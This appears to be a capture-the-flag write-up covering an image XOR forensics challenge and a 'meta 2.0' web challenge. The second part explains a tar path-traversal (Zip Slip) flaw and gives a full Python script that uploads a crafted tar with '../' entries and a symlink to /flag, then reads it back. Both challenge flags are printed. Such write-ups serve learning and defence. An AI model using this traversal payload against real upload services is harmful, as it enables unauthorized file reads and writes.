intro

freebies

misc

This picture seems oddly familiar… but something about it feels ever so slightly off.

This is the image that the challenge gave us. A quick image search got us the "original". I didn't really do much but safely assumed that they couldn't or wouldn't hide the FLAG on such an official website for a business like this (I thought it was a vibe code business for a second but quickly realized this is legitimate).

So our flag had to be inside the challenge image they gave us. So I just... checked the size of both? And oh boy, you can beat me and I'll still say the flag is in there. Since it's just trivia, we XOR it. I did have a hiccup with a typo of 1 character and had to submit a ticket for it. L on me.

about_us.webp

File Size : 1029 kb

about-us-team.I3TrCs6f_4E8U9.webp

File Size : 227 kB

import numpy as np
from PIL import Image, ImageEnhance

im1 = Image.open("about-us-team.I3TrCs6f_4E8U9.webp")
im2 = Image.open("about_us.webp")
print(im1, im2)

im1np = np.array(im1) * 255
im2np = np.array(im2) * 255

result = np.bitwise_xor(im1np, im2np).astype(np.uint8)
img = Image.fromarray(result)

ImageEnhance.Contrast(img).enhance(100).save("flag.png")
  • FortID{1f_Y0u_W4nna_L3arn_M0r3_Ab0u7_Us_Try_S0lv1n6_051N7_Ex4m}

meta 2.0

Data science is old news, kids today are all about metadata science...

https://fortid-meta.chals.io/

❯ unzip -l handout.zip
Archive:  handout.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     5001  2025-08-06 15:02   app.py
      732  2025-08-06 14:12   Dockerfile
       34  2025-08-06 11:42   requirements.txt
     5045  2025-08-06 12:10   templates/index.html
---------                     -------
    10812                     4 files

tldr;

the vulnerability

No checks for .. segments, absolute paths, or symlinks, enabling classic Zip Slip/Tar traversal to arbitrary locations writable by the service user. So lets look at it this way

  • Extract root chosen by the app: /tmp/metabox/<uuid>/unpack

  • What if the TAR entry name is like this: ../../../../srv/static/dummy.txt

Then the extractor builds a path like:

  • Join: /tmp/metabox/<uuid>/unpack + ../../../../srv/static/dummy.txt

  • Result before normalization: /tmp/metabox/<uuid>/unpack/../../../../srv/static/dummy.txt

  • Each .. removes one path component on the left. After removing enough parents, you reach the filesystem root /

So here is the steps we can take to exploit this:

  1. Build an in-memory TAR containing:

    • A directory entry for ../../../../srv/static.

    • A symlink entry ../../../../srv/static/dummy.txt with link target /flag.

  2. POST the tar to POST /upload as multipart/form-data with field file.

  3. GET /static/dummy.txt to read the flag.

solve

import sys
import time
from io import BytesIO
import tarfile
import requests

base = sys.argv[1] if len(sys.argv) > 1 else "https://fortid-meta.chals.io"
targets = ["/flag"]

for t in targets:
    buf = BytesIO()
    with tarfile.open(fileobj=buf, mode="w") as tf:
        d = tarfile.TarInfo("../../../../srv/static")
        d.type = tarfile.DIRTYPE
        d.mode = 0o755
        d.mtime = int(time.time())
        tf.addfile(d)
        s = tarfile.TarInfo("../../../../srv/static/dummy.txt")
        s.type = tarfile.SYMTYPE
        s.linkname = t
        s.mode = 0o777
        s.mtime = int(time.time())
        s.size = 0
        tf.addfile(s)
    data = buf.getvalue()
    requests.post(
        base.rstrip("/") + "/upload",
        files={"file": ("x.tar", data, "application/x-tar")},
    )
    time.sleep(0.2)
    r = requests.get(base.rstrip("/") + "/static/dummy.txt")
    if r.status_code == 200 and r.text:
        print(r.text)
        sys.exit(0)
print(r.text)
  • FortID{I_H0p3_M4rk_Zuck3rber6_BuYz_0ur_M374_F0r_4_Bill10n_$$$}

Last updated